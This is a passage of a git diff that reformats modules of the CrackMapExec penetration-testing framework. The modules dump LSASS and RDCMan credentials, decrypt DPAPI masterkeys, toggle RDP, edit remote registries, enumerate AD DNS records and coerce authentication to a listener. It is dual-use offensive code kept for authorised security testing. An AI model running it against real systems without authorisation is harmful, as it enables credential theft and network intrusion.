minidump: {e}') + context.log.fail(f"Error parsing minidump: {e}") - ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds', - 'tspkg_creds'] + ssps = [ + "msv_creds", + "wdigest_creds", + "ssp_creds", + "livessp_creds", + "kerberos_creds", + "credman_creds", + "tspkg_creds", + ] for luid in pypy_parse.logon_sessions: - for ssp in ssps: - for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []): + for cred in getattr( + pypy_parse.logon_sessions[luid], ssp, [] + ): domain = getattr(cred, "domainname", None) username = getattr(cred, "username", None) password = getattr(cred, "password", None) NThash = getattr(cred, "NThash", None) if NThash is not None: NThash = NThash.hex() - if username and (password or NThash) and "$" not in username: + if ( + username + and (password or NThash) + and "$" not in username + ): print_pass = password if password else NThash - context.log.highlight(domain + "\\" + username + ":" + print_pass) - if "." not in domain and domain.upper() in connection.domain.upper(): + context.log.highlight( + domain + "\\" + username + ":" + print_pass + ) + if ( + "." not in domain + and domain.upper() in connection.domain.upper() + ): domain = connection.domain - credz_bh.append({'username': username.upper(), 'domain': domain.upper()}) + credz_bh.append( + { + "username": username.upper(), + "domain": domain.upper(), + } + ) if len(credz_bh) > 0: add_user_bh(credz_bh, None, context.log, connection.config) except Exception as e: - context.log.fail('Error openning dump file', str(e)) + context.log.fail("Error openning dump file", str(e)) diff --git a/cme/modules/rdcman.py b/cme/modules/rdcman.py index 579d9296..08763bfa 100644 --- a/cme/modules/rdcman.py +++ b/cme/modules/rdcman.py @@ -9,11 +9,14 @@ from dploot.lib.smb import DPLootSMBConnection from cme.helpers.logger import highlight + class CMEModule: name = "rdcman" - description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials" + description = ( + "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials" + ) supported_protocols = ["smb"] - opsec_safe= True + opsec_safe = True multiple_hosts = True def options(self, context, module_options): @@ -25,12 +28,11 @@ class CMEModule: self.masterkeys = None if "PVK" in module_options: - self.pvkbytes = open(module_options["PVK"], 'rb').read() + self.pvkbytes = open(module_options["PVK"], "rb").read() if "MKFILE" in module_options: self.masterkeys = parse_masterkey_file(module_options["MKFILE"]) - self.pvkbytes = open(module_options["MKFILE"], 'rb').read() - + self.pvkbytes = open(module_options["MKFILE"], "rb").read() def on_admin_login(self, context, connection): host = connection.hostname + "." + connection.domain @@ -62,7 +64,9 @@ class CMEModule: dc_conn.connect() if dc_conn.is_admin: - context.log.success("User is Domain Administrator, exporting domain backupkey...") + context.log.success( + "User is Domain Administrator, exporting domain backupkey..." + ) backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn) backupkey = backupkey_triage.triage_backupkey() self.pvkbytes = backupkey.backupkey_v2 @@ -86,22 +90,36 @@ class CMEModule: conn = None try: - conn = DPLootSMBConnection(target) + conn = DPLootSMBConnection(target) conn.smb_session = connection.conn except Exception as e: context.log.debug("Could not upgrade connection: {}".format(e)) return - plaintexts = {username:password for _, _, username, password, _,_ in context.db.get_credentials(cred_type="plaintext")} - nthashes = {username:nt.split(':')[1] if ':' in nt else nt for _, _, username, nt, _,_ in context.db.get_credentials(cred_type="hash")} - if password != '': + plaintexts = { + username: password + for _, _, username, password, _, _ in context.db.get_credentials( + cred_type="plaintext" + ) + } + nthashes = { + username: nt.split(":")[1] if ":" in nt else nt + for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash") + } + if password != "": plaintexts[username] = password - if nthash != '': + if nthash != "": nthashes[username] = nthash if self.masterkeys is None: try: - masterkeys_triage = MasterkeysTriage(target=target, conn=conn, pvkbytes=self.pvkbytes, passwords=plaintexts, nthashes=nthashes) + masterkeys_triage = MasterkeysTriage( + target=target, + conn=conn, + pvkbytes=self.pvkbytes, + passwords=plaintexts, + nthashes=nthashes, + ) self.masterkeys = masterkeys_triage.triage_masterkeys() except Exception as e: context.log.debug("Could not get masterkeys: {}".format(e)) @@ -110,7 +128,11 @@ class CMEModule: context.log.fail("No masterkeys looted") return - context.log.success("Got {} decrypted masterkeys. Looting RDCMan secrets".format(highlight(len(self.masterkeys)))) + context.log.success( + "Got {} decrypted masterkeys. Looting RDCMan secrets".format( + highlight(len(self.masterkeys)) + ) + ) try: triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys) @@ -119,21 +141,71 @@ class CMEModule: if rdcman_file is None: continue for rdg_cred in rdcman_file.rdg_creds: - if rdg_cred.type == 'cred': - context.log.highlight("[%s][%s] %s:%s" % (rdcman_file.winuser, rdg_cred.profile_name, rdg_cred.username, rdg_cred.password.decode('latin-1'))) - elif rdg_cred.type == 'logon': - context.log.highlight("[%s][%s] %s:%s" % (rdcman_file.winuser, rdg_cred.profile_name, rdg_cred.username, rdg_cred.password.decode('latin-1'))) - elif rdg_cred.type == 'server': - context.log.highlight("[%s][%s] %s - %s:%s" % (rdcman_file.winuser, rdg_cred.profile_name, rdg_cred.server_name, rdg_cred.username, rdg_cred.password.decode('latin-1'))) + if rdg_cred.type == "cred": + context.log.highlight( + "[%s][%s] %s:%s" + % ( + rdcman_file.winuser, + rdg_cred.profile_name, + rdg_cred.username, + rdg_cred.password.decode("latin-1"), + ) + ) + elif rdg_cred.type == "logon": + context.log.highlight( + "[%s][%s] %s:%s" + % ( + rdcman_file.winuser, + rdg_cred.profile_name, + rdg_cred.username, + rdg_cred.password.decode("latin-1"), + ) + ) + elif rdg_cred.type == "server": + context.log.highlight( + "[%s][%s] %s - %s:%s" + % ( + rdcman_file.winuser, + rdg_cred.profile_name, + rdg_cred.server_name, + rdg_cred.username, + rdg_cred.password.decode("latin-1"), + ) + ) for rdgfile in rdgfiles: if rdgfile is None: continue for rdg_cred in rdgfile.rdg_creds: - if rdg_cred.type == 'cred': - context.log.highlight("[%s][%s] %s:%s" % (rdgfile.winuser, rdg_cred.profile_name, rdg_cred.username, rdg_cred.password.decode('latin-1'))) - elif rdg_cred.type == 'logon': - context.log.highlight("[%s][%s] %s:%s" % (rdgfile.winuser, rdg_cred.profile_name, rdg_cred.username, rdg_cred.password.decode('latin-1'))) - elif rdg_cred.type == 'server': - context.log.highlight("[%s][%s] %s - %s:%s" % (rdgfile.winuser, rdg_cred.profile_name, rdg_cred.server_name, rdg_cred.username, rdg_cred.password.decode('latin-1'))) + if rdg_cred.type == "cred": + context.log.highlight( + "[%s][%s] %s:%s" + % ( + rdgfile.winuser, + rdg_cred.profile_name, + rdg_cred.username, + rdg_cred.password.decode("latin-1"), + ) + ) + elif rdg_cred.type == "logon": + context.log.highlight( + "[%s][%s] %s:%s" + % ( + rdgfile.winuser, + rdg_cred.profile_name, + rdg_cred.username, + rdg_cred.password.decode("latin-1"), + ) + ) + elif rdg_cred.type == "server": + context.log.highlight( + "[%s][%s] %s - %s:%s" + % ( + rdgfile.winuser, + rdg_cred.profile_name, + rdg_cred.server_name, + rdg_cred.username, + rdg_cred.password.decode("latin-1"), + ) + ) except Exception as e: - context.log.debug("Could not loot RDCMan secrets: {}".format(e)) \ No newline at end of file + context.log.debug("Could not loot RDCMan secrets: {}".format(e)) diff --git a/cme/modules/rdp.py b/cme/modules/rdp.py index 8e44fef6..b60e21eb 100644 --- a/cme/modules/rdp.py +++ b/cme/modules/rdp.py @@ -23,20 +23,20 @@ class CMEModule: """ ACTION Enable/Disable RDP (choices: enable, disable) """ - if not 'ACTION' in module_options: - context.log.fail('ACTION option not specified!') + if not "ACTION" in module_options: + context.log.fail("ACTION option not specified!") exit(1) - if module_options['ACTION'].lower() not in ['enable', 'disable']: - context.log.fail('Invalid value for ACTION option!') + if module_options["ACTION"].lower() not in ["enable", "disable"]: + context.log.fail("Invalid value for ACTION option!") exit(1) - self.action = module_options['ACTION'].lower() + self.action = module_options["ACTION"].lower() def on_admin_login(self, context, connection): - if self.action == 'enable': + if self.action == "enable": self.rdp_enable(context, connection.conn) - elif self.action == 'disable': + elif self.action == "disable": self.rdp_disable(context, connection.conn) def rdp_enable(self, context, smbconnection): @@ -45,17 +45,29 @@ class CMEModule: if remoteOps._RemoteOperations__rrp: ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) - regHandle = ans['phKey'] + regHandle = ans["phKey"] - ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Terminal Server') - keyHandle = ans['phkResult'] + ans = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + "SYSTEM\\CurrentControlSet\\Control\\Terminal Server", + ) + keyHandle = ans["phkResult"] - rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00', rrp.REG_DWORD, 0) + rrp.hBaseRegSetValue( + remoteOps._RemoteOperations__rrp, + keyHandle, + "fDenyTSConnections\x00", + rrp.REG_DWORD, + 0, + ) - rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00') + rtype, data = rrp.hBaseRegQueryValue( + remoteOps._RemoteOperations__rrp, keyHandle, "fDenyTSConnections\x00" + ) if int(data) == 0: - context.log.success('RDP enabled successfully') + context.log.success("RDP enabled successfully") try: remoteOps.finish() @@ -68,17 +80,29 @@ class CMEModule: if remoteOps._RemoteOperations__rrp: ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp) - regHandle = ans['phKey'] + regHandle = ans["phKey"] - ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Terminal Server') - keyHandle = ans['phkResult'] + ans = rrp.hBaseRegOpenKey( + remoteOps._RemoteOperations__rrp, + regHandle, + "SYSTEM\\CurrentControlSet\\Control\\Terminal Server", + ) + keyHandle = ans["phkResult"] - rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00', rrp.REG_DWORD, 1) + rrp.hBaseRegSetValue( + remoteOps._RemoteOperations__rrp, + keyHandle, + "fDenyTSConnections\x00", + rrp.REG_DWORD, + 1, + ) - rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00') + rtype, data = rrp.hBaseRegQueryValue( + remoteOps._RemoteOperations__rrp, keyHandle, "fDenyTSConnections\x00" + ) if int(data) == 1: - context.log.success('RDP disabled successfully') + context.log.success("RDP disabled successfully") try: remoteOps.finish() diff --git a/cme/modules/reg-query.py b/cme/modules/reg-query.py index df73c193..b6ed6017 100644 --- a/cme/modules/reg-query.py +++ b/cme/modules/reg-query.py @@ -7,9 +7,9 @@ from impacket.examples.secretsdump import RemoteOperations class CMEModule: - name = 'reg-query' - description = 'Performs a registry query on the machine' - supported_protocols = ['smb'] + name = "reg-query" + description = "Performs a registry query on the machine" + supported_protocols = ["smb"] opsec_safe = True multiple_hosts = True @@ -39,42 +39,50 @@ class CMEModule: self.type = None self.delete = False - if module_options and 'PATH' in module_options: - self.path = module_options['PATH'] + if module_options and "PATH" in module_options: + self.path = module_options["PATH"] - if module_options and 'KEY' in module_options: - self.key = module_options['KEY'] + if module_options and "KEY" in module_options: + self.key = module_options["KEY"] - if 'VALUE' in module_options: - self.value = module_options['VALUE'] - if 'TYPE' in module_options: + if "VALUE" in module_options: + self.value = module_options["VALUE"] + if "TYPE" in module_options: type_dict = { - 'REG_NONE': rrp.REG_NONE, - 'REG_SZ': rrp.REG_SZ, - 'REG_EXPAND_SZ': rrp.REG_EXPAND_SZ, - 'REG_BINARY': rrp.REG_BINARY, - 'REG_DWORD': rrp.REG_DWORD, - 'REG_DWORD_BIG_ENDIAN': rrp.REG_DWORD_BIG_ENDIAN, - 'REG_LINK': rrp.REG_LINK, - 'REG_MULTI_SZ': rrp.REG_MULTI_SZ, - 'REG_QWORD': rrp.REG_QWORD + "REG_NONE": rrp.REG_NONE, + "REG_SZ": rrp.REG_SZ, + "REG_EXPAND_SZ": rrp.REG_EXPAND_SZ, + "REG_BINARY": rrp.REG_BINARY, + "REG_DWORD": rrp.REG_DWORD, + "REG_DWORD_BIG_ENDIAN": rrp.REG_DWORD_BIG_ENDIAN, + "REG_LINK": rrp.REG_LINK, + "REG_MULTI_SZ": rrp.REG_MULTI_SZ, + "REG_QWORD": rrp.REG_QWORD, } - self.type = module_options['TYPE'] + self.type = module_options["TYPE"] if "WORD" in self.type: - try : + try: self.value = int(self.value) except: - context.log.fail(f"Invalid registry value type specified: {self.value}") + context.log.fail( + f"Invalid registry value type specified: {self.value}" + ) return if self.type in type_dict: self.type = type_dict[self.type] else: - context.log.fail(f"Invalid registry value type specified: {self.type}") + context.log.fail( + f"Invalid registry value type specified: {self.type}" + ) return else: self.type = 1 - - if module_options and 'DELETE' in module_options and module_options['DELETE'].lower() == 'true': + + if ( + module_options + and "DELETE" in module_options + and module_options["DELETE"].lower() == "true" + ): self.delete = True def on_admin_login(self, context, connection): @@ -88,92 +96,86 @@ class CMEModule: remote_ops = RemoteOperations(connection.conn, False) remote_ops.enableRegistry() - + try: if "HKLM" in self.path or "HKEY_LOCAL_MACHINE" in self.path: - self.path = self.path.replace('HKLM\\', '') + self.path = self.path.replace("HKLM\\", "") ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp) elif "HKCU" in self.path or "HKEY_CURRENT_USER" in self.path: - self.path = self.path.replace('HKCU\\', '') + self.path = self.path.replace("HKCU\\", "") ans = rrp.hOpenCurrentUser(remote_ops._RemoteOperations__rrp) elif "HKCR" in self.path or "HKEY_CLASSES_ROOT" in self.path: - self.path = self.path.replace('HKCR\\', '') + self.path = self.path.replace("HKCR\\", "") ans = rrp.hOpenClassesRoot(remote_ops._RemoteOperations__rrp) else: - self.context.log.fail(f"Unsupported registry hive specified in path: {self.path}") + self.context.log.fail( + f"Unsupported registry hive specified in path: {self.path}" + ) return - - reg_handle = ans['phKey'] + + reg_handle = ans["phKey"] ans = rrp.hBaseRegOpenKey( - remote_ops._RemoteOperations__rrp, - reg_handle, - self.path + remote_ops._RemoteOperations__rrp, reg_handle, self.path ) - key_handle = ans['phkResult'] + key_handle = ans["phkResult"] if self.delete: # Delete registry try: # Check if value exists data_type, reg_value = rrp.hBaseRegQueryValue( - remote_ops._RemoteOperations__rrp, - key_handle, - self.key + remote_ops._RemoteOperations__rrp, key_handle, self.key ) except: self.context.log.fail(f"Registry key {self.key} does not exist") return # Delete value rrp.hBaseRegDeleteValue( - remote_ops._RemoteOperations__rrp, - key_handle, - self.key + remote_ops._RemoteOperations__rrp, key_handle, self.key ) - self.context.log.success(f"Registry key {self.key} has been deleted successfully") - rrp.hBaseRegCloseKey( - remote_ops._RemoteOperations__rrp, - key_handle + self.context.log.success( + f"Registry key {self.key} has been deleted successfully" ) + rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) if self.value is not None: # Check if value exists try: # Check if value exists data_type, reg_value = rrp.hBaseRegQueryValue( - remote_ops._RemoteOperations__rrp, - key_handle, - self.key + remote_ops._RemoteOperations__rrp, key_handle, self.key + ) + self.context.log.highlight( + f"Key {self.key} exists with value {reg_value}" ) - self.context.log.highlight(f"Key {self.key} exists with value {reg_value}") # Modification rrp.hBaseRegSetValue( remote_ops._RemoteOperations__rrp, key_handle, self.key, self.type, - self.value + self.value, + ) + self.context.log.success( + f"Key {self.key} has been modified to {self.value}" ) - self.context.log.success(f"Key {self.key} has been modified to {self.value}") except: rrp.hBaseRegSetValue( remote_ops._RemoteOperations__rrp, key_handle, self.key, self.type, - self.value + self.value, ) - self.context.log.success(f"New Key {self.key} has been added with value {self.value}") - rrp.hBaseRegCloseKey( - remote_ops._RemoteOperations__rrp, - key_handle + self.context.log.success( + f"New Key {self.key} has been added with value {self.value}" ) + rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) else: # Query try: data_type, reg_value = rrp.hBaseRegQueryValue( - remote_ops._RemoteOperations__rrp, - key_handle, - self.key + remote_ops._RemoteOperations__rrp, key_handle, self.key ) self.context.log.highlight(f"{self.key}: {reg_value}") except: @@ -184,7 +186,9 @@ class CMEModule: return rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle) except DCERPCException as e: - self.context.log.fail(f"DCERPC Error while querying or modifying registry: {e}") + self.context.log.fail( + f"DCERPC Error while querying or modifying registry: {e}" + ) except Exception as e: self.context.log.fail(f"Error while querying or modifying registry: {e}") finally: diff --git a/cme/modules/runasppl.py b/cme/modules/runasppl.py index 84524079..dddf877f 100644 --- a/cme/modules/runasppl.py +++ b/cme/modules/runasppl.py @@ -1,6 +1,7 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- + class CMEModule: name = "runasppl" description = "Check if the registry value RunAsPPL is set or not" diff --git a/cme/modules/scan-network.py b/cme/modules/scan-network.py index a52a1264..29bea54a 100644 --- a/cme/modules/scan-network.py +++ b/cme/modules/scan-network.py @@ -15,118 +15,130 @@ from ldap3 import LEVEL def get_dns_zones(connection, root, debug=False): - connection.search(root, '(objectClass=dnsZone)', search_scope=LEVEL, attributes=['dc']) + connection.search( + root, "(objectClass=dnsZone)", search_scope=LEVEL, attributes=["dc"] + ) zones = [] for entry in connection.response: - if entry['type'] != 'searchResEntry': + if entry["type"] != "searchResEntry": continue - zones.append(entry['attributes']['dc']) + zones.append(entry["attributes"]["dc"]) return zones + def get_dns_resolver(server, context): # Create a resolver object dnsresolver = dns.resolver.Resolver() # Is our host an IP? In that case make sure the server IP is used # if not assume lookups are working already try: - if server.startswith('ldap://'): + if server.startswith("ldap://"): server = server[7:] - if server.startswith('ldaps://'): + if server.startswith("ldaps://"): server = server[8:] socket.inet_aton(server) dnsresolver.nameservers = [server] except socket.error: - context.info('Using System DNS to resolve unknown entries. Make sure resolving your target domain works here or specify an IP'\ - ' as target host to use that server for queries') + context.info( + "Using System DNS to resolve unknown entries. Make sure resolving your target domain works here or specify an IP" + " as target host to use that server for queries" + ) return dnsresolver + def ldap2domain(ldap): - return re.sub(',DC=', '.', ldap[ldap.lower().find('dc='):], flags=re.I)[3:] + return re.sub(",DC=", ".", ldap[ldap.lower().find("dc=") :], flags=re.I)[3:] + def new_record(rtype, serial): nr = DNS_RECORD() - nr['Type'] = rtype - nr['Serial'] = serial - nr['TtlSeconds'] = 180 + nr["Type"] = rtype + nr["Serial"] = serial + nr["TtlSeconds"] = 180 # From authoritive zone - nr['Rank'] = 240 + nr["Rank"] = 240 return nr + # From: https://docs.microsoft.com/en-us/windows/win32/dns/dns-constants RECORD_TYPE_MAPPING = { - 0: 'ZERO', - 1: 'A', - 2: 'NS', - 5: 'CNAME', - 6: 'SOA', - 12: 'PTR', - #15: 'MX', - #16: 'TXT', - 28: 'AAAA', - 33: 'SRV' -} + 0: "ZERO", + 1: "A", + 2: "NS", + 5: "CNAME", + 6: "SOA", + 12: "PTR", + # 15: 'MX', + # 16: 'TXT', + 28: "AAAA", + 33: "SRV", +} + def searchResEntry_to_dict(results): data = {} - for attr in results['attributes']: - key = str(attr['type']) - value = str(attr['vals'][0]) + for attr in results["attributes"]: + key = str(attr["type"]) + value = str(attr["vals"][0]) data[key] = value return data class CMEModule: - - name = 'get-network' + name = "get-network" description = "" - supported_protocols = ['ldap'] + supported_protocols = ["ldap"] opsec_safe = True multiple_hosts = True def options(self, context, module_options): """ - ALL Get DNS and IP (default: false) - ONLY_HOSTS Get DNS only (no ip) (default: false) + ALL Get DNS and IP (default: false) + ONLY_HOSTS Get DNS only (no ip) (default: false) """ self.showall = False self.showhosts = False self.showip = True - if module_options and 'ALL' in module_options: - if module_options['ALL'].lower() == "true" or module_options['ALL'] == "1": + if module_options and "ALL" in module_options: + if module_options["ALL"].lower() == "true" or module_options["ALL"] == "1": self.showall = True else: print("Could not parse ALL option.") - if module_options and 'IP' in module_options: - if module_options['IP'].lower() == "true" or module_options['IP'] == "1": + if module_options and "IP" in module_options: + if module_options["IP"].lower() == "true" or module_options["IP"] == "1": self.showip = True else: print("Could not parse ONLY_HOSTS option.") - if module_options and 'ONLY_HOSTS' in module_options: - if module_options['ONLY_HOSTS'].lower() == "true" or module_options['ONLY_HOSTS'] == "1": + if module_options and "ONLY_HOSTS" in module_options: + if ( + module_options["ONLY_HOSTS"].lower() == "true" + or module_options["ONLY_HOSTS"] == "1" + ): self.showhosts = True else: print("Could not parse ONLY_HOSTS option.") - def on_login(self, context, connection): zone = ldap2domain(connection.baseDN) - dnsroot = 'CN=MicrosoftDNS,DC=DomainDnsZones,%s' % connection.baseDN - searchtarget = 'DC=%s,%s' % (zone, dnsroot) - context.log.display('Querying zone for records') - sfilter = '(DC=*)' + dnsroot = "CN=MicrosoftDNS,DC=DomainDnsZones,%s" % connection.baseDN + searchtarget = "DC=%s,%s" % (zone, dnsroot) + context.log.display("Querying zone for records") + sfilter = "(DC=*)" try: list_sites = connection.ldapConnection.search( searchBase=searchtarget, searchFilter=sfilter, - attributes=['dnsRecord','dNSTombstoned','name'], - sizeLimit=100000 + attributes=["dnsRecord", "dNSTombstoned", "name"], + sizeLimit=100000, ) except ldap.LDAPSearchError as e: - if e.getErrorString().find('sizeLimitExceeded') >= 0: - context.log.debug('sizeLimitExceeded exception caught, giving up and processing the data received') + if e.getErrorString().find("sizeLimitExceeded") >= 0: + context.log.debug( + "sizeLimitExceeded exception caught, giving up and processing the data received" + ) # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries list_sites = e.getAnswers() @@ -142,39 +154,81 @@ class CMEModule: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue site = searchResEntry_to_dict(item) - recordname = site['name'] + recordname = site["name"] if "dnsRecord" in site: - record = bytes(site['dnsRecord'].encode('latin1')) + record = bytes(site["dnsRecord"].encode("latin1")) dr = DNS_RECORD(record) - if RECORD_TYPE_MAPPING[dr['Type']] == "A": - if dr['Type'] == 1: - address = DNS_RPC_RECORD_A(dr['Data']) - if str(recordname) != 'DomainDnsZones' and str(recordname) != 'ForestDnsZones': - outdata.append({'name':recordname, 'type': RECORD_TYPE_MAPPING[dr['Type']], 'value': address.formatCanonical()}) - if dr['Type'] in [a for a in RECORD_TYPE_MAPPING if RECORD_TYPE_MAPPING[a] in ['CNAME', 'NS', 'PTR']]: - address = DNS_RPC_RECORD_NODE_NAME(dr['Data']) - if str(recordname) != 'DomainDnsZones' and str(recordname) != 'ForestDnsZones': - outdata.append({'name':recordname, 'type':RECORD_TYPE_MAPPING[dr['Type']], 'value': address[list(address.fields)[0]].toFqdn()}) - elif dr['Type'] == 28: - address = DNS_RPC_RECORD_AAAA(dr['Data']) - if str(recordname) != 'DomainDnsZones' and str(recordname) != 'ForestDnsZones': - outdata.append({'name':recordname, 'type':RECORD_TYPE_MAPPING[dr['Type']], 'value': address.formatCanonical()}) + if RECORD_TYPE_MAPPING[dr["Type"]] == "A": + if dr["Type"] == 1: + address = DNS_RPC_RECORD_A(dr["Data"]) + if ( + str(recordname) != "DomainDnsZones" + and str(recordname) != "ForestDnsZones" + ): + outdata.append( + { + "name": recordname, + "type": RECORD_TYPE_MAPPING[dr["Type"]], + "value": address.formatCanonical(), + } + ) + if dr["Type"] in [ + a + for a in RECORD_TYPE_MAPPING + if RECORD_TYPE_MAPPING[a] in ["CNAME", "NS", "PTR"] + ]: + address = DNS_RPC_RECORD_NODE_NAME(dr["Data"]) + if ( + str(recordname) != "DomainDnsZones" + and str(recordname) != "ForestDnsZones" + ): + outdata.append( + { + "name": recordname, + "type": RECORD_TYPE_MAPPING[dr["Type"]], + "value": address[list(address.fields)[0]].toFqdn(), + } + ) + elif dr["Type"] == 28: + address = DNS_RPC_RECORD_AAAA(dr["Data"]) + if ( + str(recordname) != "DomainDnsZones" + and str(recordname) != "ForestDnsZones" + ): + outdata.append( + { + "name": recordname, + "type": RECORD_TYPE_MAPPING[dr["Type"]], + "value": address.formatCanonical(), + } + ) - context.log.highlight('Found %d records' % len(outdata)) - path = os.path.expanduser('~/.cme/logs/{}_network_{}.log'.format(connection.domain, datetime.now().strftime("%Y-%m-%d_%H%M%S"))) - with codecs.open(path, 'w', 'utf-8') as outfile: + context.log.highlight("Found %d records" % len(outdata)) + path = os.path.expanduser( + "~/.cme/logs/{}_network_{}.log".format( + connection.domain, datetime.now().strftime("%Y-%m-%d_%H%M%S") + ) + ) + with codecs.open(path, "w", "utf-8") as outfile: for row in outdata: if self.showhosts: - outfile.write('{}\n'.format(row['name'] + '.' + connection.domain)) + outfile.write("{}\n".format(row["name"] + "." + connection.domain)) elif self.showall: - outfile.write('{} \t {}\n'.format(row['name'] + '.' + connection.domain, row['value'])) + outfile.write( + "{} \t {}\n".format( + row["name"] + "." + connection.domain, row["value"] + ) + ) else: - outfile.write('{}\n'.format(row['value'])) - context.log.success('Dumped {} records to {}'.format(len(outdata), path)) + outfile.write("{}\n".format(row["value"])) + context.log.success("Dumped {} records to {}".format(len(outdata), path)) if not self.showall and not self.showhosts: - context.log.display("To extract CIDR from the {} ip, run the following command: cat your_file | mapcidr -aa -silent | mapcidr -a -silent".format(len(outdata))) - + context.log.display( + "To extract CIDR from the {} ip, run the following command: cat your_file | mapcidr -aa -silent | mapcidr -a -silent".format( + len(outdata) + ) + ) class DNS_RECORD(Structure): @@ -182,19 +236,21 @@ class DNS_RECORD(Structure): dnsRecord - used in LDAP [MS-DNSP] section 2.3.2.2 """ + structure = ( - ('DataLength', 'L'), - ('Reserved', 'L"), + ("Reserved", "H'), - ('wRecordCount', '>H'), - ('dwFlags', '>L'), - ('dwChildCount', '>L'), - ('dnsNodeName', ':') + ("wLength", ">H"), + ("wRecordCount", ">H"), + ("dwFlags", ">L"), + ("dwChildCount", ">L"), + ("dnsNodeName", ":"), ) + class DNS_RPC_RECORD_A(Structure): """ DNS_RPC_RECORD_A [MS-DNSP] section 2.2.2.2.4.1 """ - structure = ( - ('address', ':'), - ) + + structure = (("address", ":"),) def formatCanonical(self): - return socket.inet_ntoa(self['address']) + return socket.inet_ntoa(self["address"]) def fromCanonical(self, canonical): - self['address'] = socket.inet_aton(canonical) + self["address"] = socket.inet_aton(canonical) class DNS_RPC_RECORD_NODE_NAME(Structure): @@ -273,83 +328,90 @@ class DNS_RPC_RECORD_NODE_NAME(Structure): DNS_RPC_RECORD_NODE_NAME [MS-DNSP] section 2.2.2.2.4.2 """ - structure = ( - ('nameNode', ':', DNS_COUNT_NAME), - ) + + structure = (("nameNode", ":", DNS_COUNT_NAME),) + class DNS_RPC_RECORD_SOA(Structure): """ DNS_RPC_RECORD_SOA [MS-DNSP] section 2.2.2.2.4.3 """ + structure = ( - ('dwSerialNo', '>L'), - ('dwRefresh', '>L'), - ('dwRetry', '>L'), - ('dwExpire', '>L'), - ('dwMinimumTtl', '>L'), - ('namePrimaryServer', ':', DNS_COUNT_NAME), - ('zoneAdminEmail', ':', DNS_COUNT_NAME) + ("dwSerialNo", ">L"), + ("dwRefresh", ">L"), + ("dwRetry", ">L"), + ("dwExpire", ">L"), + ("dwMinimumTtl", ">L"), + ("namePrimaryServer", ":", DNS_COUNT_NAME), + ("zoneAdminEmail", ":", DNS_COUNT_NAME), ) + class DNS_RPC_RECORD_NULL(Structure): """ DNS_RPC_RECORD_NULL [MS-DNSP] section 2.2.2.2.4.4 """ - structure = ( - ('bData', ':'), - ) + + structure = (("bData", ":"),) + # Some missing structures here that I skipped + class DNS_RPC_RECORD_NAME_PREFERENCE(Structure): """ DNS_RPC_RECORD_NAME_PREFERENCE [MS-DNSP] section 2.2.2.2.4.8 """ - structure = ( - ('wPreference', '>H'), - ('nameExchange', ':', DNS_COUNT_NAME) - ) + + structure = (("wPreference", ">H"), ("nameExchange", ":", DNS_COUNT_NAME)) + # Some missing structures here that I skipped + class DNS_RPC_RECORD_AAAA(Structure): """ DNS_RPC_RECORD_AAAA [MS-DNSP] section 2.2.2.2.4.17 """ - structure = ( - ('ipv6Address', '16s'), - ) + + structure = (("ipv6Address", "16s"),) def formatCanonical(self): - return socket.inet_ntop(socket.AF_INET6, self['ipv6Address']) + return socket.inet_ntop(socket.AF_INET6, self["ipv6Address"]) + class DNS_RPC_RECORD_SRV(Structure): """ DNS_RPC_RECORD_SRV [MS-DNSP] section 2.2.2.2.4.18 """ + structure = ( - ('wPriority', '>H'), - ('wWeight', '>H'), - ('wPort', '>H'), - ('nameTarget', ':', DNS_COUNT_NAME) + ("wPriority", ">H"), + ("wWeight", ">H"), + ("wPort", ">H"), + ("nameTarget", ":", DNS_COUNT_NAME), ) + class DNS_RPC_RECORD_TS(Structure): """ DNS_RPC_RECORD_TS [MS-DNSP] section 2.2.2.2.4.23 """ - structure = ( - ('entombedTime', '= 0: + if str(e).find("STATUS_PIPE_NOT_AVAILABLE") >= 0: dce.disconnect() return 1 cme_logger.debug("Something went wrong, check error status => %s" % str(e)) cme_logger.info("Connected!") - cme_logger.info("Binding to %s" % binding_params[pipe]['UUID'][0]) + cme_logger.info("Binding to %s" % binding_params[pipe]["UUID"][0]) try: - dce.bind(uuidtup_to_bin(binding_params[pipe]['UUID'])) + dce.bind(uuidtup_to_bin(binding_params[pipe]["UUID"])) except Exception as e: cme_logger.debug("Something went wrong, check error status => %s" % str(e)) @@ -187,15 +261,17 @@ class CoerceAuth: request = IsPathShadowCopied() # only NETLOGON and SYSVOL were detected working here # setting the share to something else raises a 0x80042308 (FSRVP_E_OBJECT_NOT_FOUND) or 0x8004230c (FSRVP_E_NOT_SUPPORTED) - request['ShareName'] = '\\\\%s\\NETLOGON\x00' % listener + request["ShareName"] = "\\\\%s\\NETLOGON\x00" % listener # request.dump() dce.request(request) except Exception as e: cme_logger.debug("Something went wrong, check error status => %s", str(e)) - cme_logger.debug("Attack may of may not have worked, check your listener...") - return False + cme_logger.debug( + "Attack may of may not have worked, check your listener..." + ) + return False - return True + return True def 